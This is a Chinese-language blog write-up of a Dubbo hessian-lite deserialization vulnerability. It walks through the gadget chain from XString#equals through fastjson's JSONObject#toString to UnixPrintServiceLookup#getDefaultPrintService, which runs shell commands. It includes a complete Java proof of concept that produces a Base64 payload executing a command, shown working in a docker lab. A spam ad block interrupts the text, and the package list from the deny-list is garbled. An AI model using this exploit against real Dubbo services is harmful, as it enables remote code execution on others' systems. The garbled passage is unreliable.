分析
漏洞描述
我们可以看看在 apache 通告中对漏洞的简单的描述
很明显,从这个漏洞描述中,我们能够明白这个 CVE 的造成主要是因为 dubbo 中内置的 hessian 项目,主要是因为在中的及以前版本中存在有这个漏洞hessian-lite``3.2.12
来看看是因为哪里造成了这个漏洞,以至于能够 RCE
我们看看 github 的 diff
https://github.com/apache/dubbo-hessian-lite/commit/5727b36a3cdc428baeef7ee03b131905e39be8ad
复制代码
主要的更改是在文件中resources/DENY_CLASS
这个文件中,是这个项目维护的一个黑名单
从这次的修复中,多新增了好几个黑名单包名
【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20 份渗透测试电子书
③安全攻防 357 页笔记
④50 份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100 个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年 CTF 夺旗赛题解析
org.apache.commons.codec.组织方面.org.dom4j 组织君尼特.组织莫比托.百里香叶.奥格尔。太阳印.
有很多,但是在其中只是存在有一个存在于 JDK 中的包名,即为,这里仅是主要探讨有关于 JDK 中的利用链进行学习sun.print.
对于其他的包名的的利用链,之后我将会通过自动化工具的方式进行挖掘探索
漏洞回顾
要想要知道能够利用的恶意类到底是哪一个,我们需要明白 hessian 需要触发什么才能导致漏洞的利用
如果曾经更进过 hessian 以前的其他链子,你会发现,大多数的链子都是通过使用等类来触发等等方法来进行接下来的调用HashMap / HashSet / HashTable``equals / compareTo
而其中,marshal 项目中存在有多个通过调用方法的方式XString#equals
进而调用到其他类的方法进行接下来 的调用toString
现洞分析
在这个 CVE 中存在的一条利用链是通过 fastjson 库的方法来进行反序列化操作,而在起反序列化的过程中将会调用反序列化类的任意 getter 方法,当时是直接通过触发了方法来进行利用的CVE-2021-25641``JSONObject#toString``TemplatesImpl#getOutputProperties
而我们这里,也朝着这样的思路走,我们需要在包下,找到一个类的方法能够进行漏洞的触发,那个就是我们想要的漏洞点sun.print.``getter
有关于这个类的利用,之前在跳跳糖中就存在
https://tttang.com/archive/1510/
复制代码
我们跟进一下这种利用方式
我们这里选用的环境是单独的一个依赖的环境(2.7.16 版本)dubbo
沿用以前的思路,通过 dubbo 库依赖的 fastjson 库,进行任意 getter 方法的调用,进行调用上图中的方法进行利用getDefaultPrintService
首先我贴一下到方法调用方法的调用栈XString#equals``JSONObject#toString
toString:1071, JSON (com.alibaba.fastjson)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:495, AbstractMap (java.util)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)
复制代码
之后来看看这条链子JSONObject#toString
这图是方法中的代码,其中我们是通过 HashMap 反序列化的方法,进行元素之间的方法的调用,这里的参数,只有是一个对象,才会调用其方法XString#equals``equals``obj2``JSONObject``toString
因为类中没有 toString 方法,所以只能够调用其父类类的方法进行调用JSONObject``JSON``toString
在这个方法中,调用了相同类的方法toString``toJSONString
在这里,将会对我们的对象进行反序列化操作JSONObject
这部分的调用栈为
write:-1, ASMSerializer_1_UnixPrintServiceLookup (com.alibaba.fastjson.serializer)
write:271, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:312, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:1077, JSON (com.alibaba.fastjson)
复制代码
我们前面通过 fastjson 反序列化的学习,也知道在其反序列化的过程中,将会导致任意 getter 方法的调用,所以自然能够调用到我们想要的方法UnixPrintServiceLookup#getDefaultPrintService
在这个方法中,主要是获取默认的打印服务相同的操作
首先在其中的一个 if 语句中
if (CUPSPrinter.isCupsRunning())
复制代码
我们如果想要利用,需要保证不会满足这个条件
并且操作系统不能够使 MAC OS 和 SUN OS
如果能够满足我们上面的条件,我们将会进一步调用到方法中getDefaultPrinterNameBSD
这里,将会将属性中的值传入方法中进行调用lpcFirstCom``exeCmd
而在该方法中,将会将命令拼接在这两个环境进行执行/bin/sh / /usr/bin/sh
之后会通过调用 run 方法来执行命令
因为在 run 方法中是存在有方法进行执行的,所以能够 RCERuntime.getRuntime().exec()
POC
public class Test {
public static void setFieldValue(Object obj, String filedName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field declaredField = obj.getClass().getDeclaredField(filedName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static void main(String[] args) {
try {
//需要执行的命令
String cmd = "touch /tmp/test";
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
//绕过getDefaultPrinterNameBSD中的限制
//设置属性
setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);
setFieldValue(unixPrintServiceLookup, "osname", "xx");
setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});
//封装一个JSONObject对象调用getter方法
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", unixPrintServiceLookup);
//使用XString类调用toString方法
XString xString = new XString("xx");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",jsonObject);
map1.put("zZ",xString);
map2.put("yy",xString);
map2.put("zZ",jsonObject);
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessianOutput = new Hessian2Output(byteArrayOutputStream);
hessianOutput.setSerializerFactory(new SerializerFactory());
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(s);
hessianOutput.flushBuffer();
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
}catch (Exception e) {
e.printStackTrace();
}
}
}
复制代码
利用
我这里使用的是自己使用 docker 搭建的一个带有 hessian 反序列化环境且仅依赖 dubbo 库的环境
我将上面的 POC 得到的序列化数据编码后的 base64 字符串进行发送
在 docker 环境中,成功创建了这个空文件/tmp/test
总结
这里不仅可以通过从这个 getter 方法中进行漏洞的触发getDefaultPrintService
同样也能够在其他的 getter 方法中进行漏洞的触发,因为毕竟 fastjson 的反序列化过程调用的所有的 getter 方法,比如说是也可以从方法中开始进行利用getPrintServices
当然,还有其他的 getter 方法
这里只是提及了这个 CVE 的 JDK 中的利用链,其他的利用链需要依赖其他的库,后面将会进行挖掘依赖中的 getter 利用
评论